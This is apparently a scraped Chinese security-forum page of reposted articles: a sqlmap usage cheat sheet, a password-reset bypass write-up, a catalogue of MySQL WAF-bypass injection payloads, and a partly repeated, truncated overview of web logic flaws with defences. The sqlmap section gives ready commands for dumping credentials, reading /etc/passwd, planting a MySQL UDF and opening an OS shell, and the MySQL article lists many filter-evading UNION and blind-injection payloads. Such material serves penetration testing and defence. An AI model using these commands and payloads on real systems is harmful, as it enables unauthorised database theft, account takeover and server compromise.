sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024 

     
批量检测  
“sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。
    
绕过WAF进行SQL注入     
  1. 修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 
  2. 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 
  3. 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 
  4. 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 

tamper目录下文件具体含义
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.pylike
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py

  
URL重写SQL注入测试   
  • value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
列举并破解密码哈希值 
  • 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     
获取表中的数据个数     
  • sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     
站点爬取  
  • sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     
注入时间预估(基于布尔)  
  • sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     
使用hex避免字符编码导致数据丢失    
  • sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     
模拟测试手机环境站点     
  • python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     
智能判断测试     
  • sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     
结合burpsuite进行注入  
  • sqlmap.py -r burpsuite 抓包.txt     
sqlmap 自动填写表单注入  
  • sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    
读取linux下文件
  • sqlmap.py-u “url” –file /etc/password     
sqlmap cookies 注入  
  • sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     
连接mysql数据打开一个交互shell  
  • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     
利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  
  • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     
执行shell命令  
  • sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     
延时注入  
  • sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     

0X04 结束语
Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~

记一次有趣的密码重置

gu 发表了文章 • 4 个评论 • 218 次浏览 • 2019-03-03 11:17 • 来自相关话题

转自(https://www.freebuf.com/vuls/196382.html)
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。 查看全部
转自(https://www.freebuf.com/vuls/196382.html
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。

【转帖】WAF Bypass数据库特性(Mysql探索篇)

cat 发表了文章 • 3 个评论 • 230 次浏览 • 2019-02-26 21:20 • 来自相关话题

0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 位置二:union和select之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1)) 
位置三:select和查询参数之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin 位置五:from后面的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin
0x03 函数
 
类型一:常见的过滤函数
  (1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61) 
类型二:过滤了特殊符号
    (1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。类型三:部分函数构造
    (1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。 查看全部
0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:
SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置
(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 
位置二:union和select之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))
 
位置三:select和查询参数之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin
 位置五:from后面的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 函数
 
类型一:常见的过滤函数
  
(1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)
 
类型二:过滤了特殊符号
    
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。
类型三:部分函数构造
    
(1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~
0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。

Web安全测试中常见逻辑漏洞解析

main 发表了文章 • 1 个评论 • 278 次浏览 • 2019-01-13 14:33 • 来自相关话题

看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:


rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:

1.账号密码找回
2.账号注册
3.支付订单等


验证码主要发送途径:

1.邮箱邮件
2.手机短信


其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。

如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。

2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示

根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》。
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。

平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限

如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM) 查看全部
看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:



rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:


1.账号密码找回
2.账号注册
3.支付订单等



验证码主要发送途径:


1.邮箱邮件
2.手机短信



其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
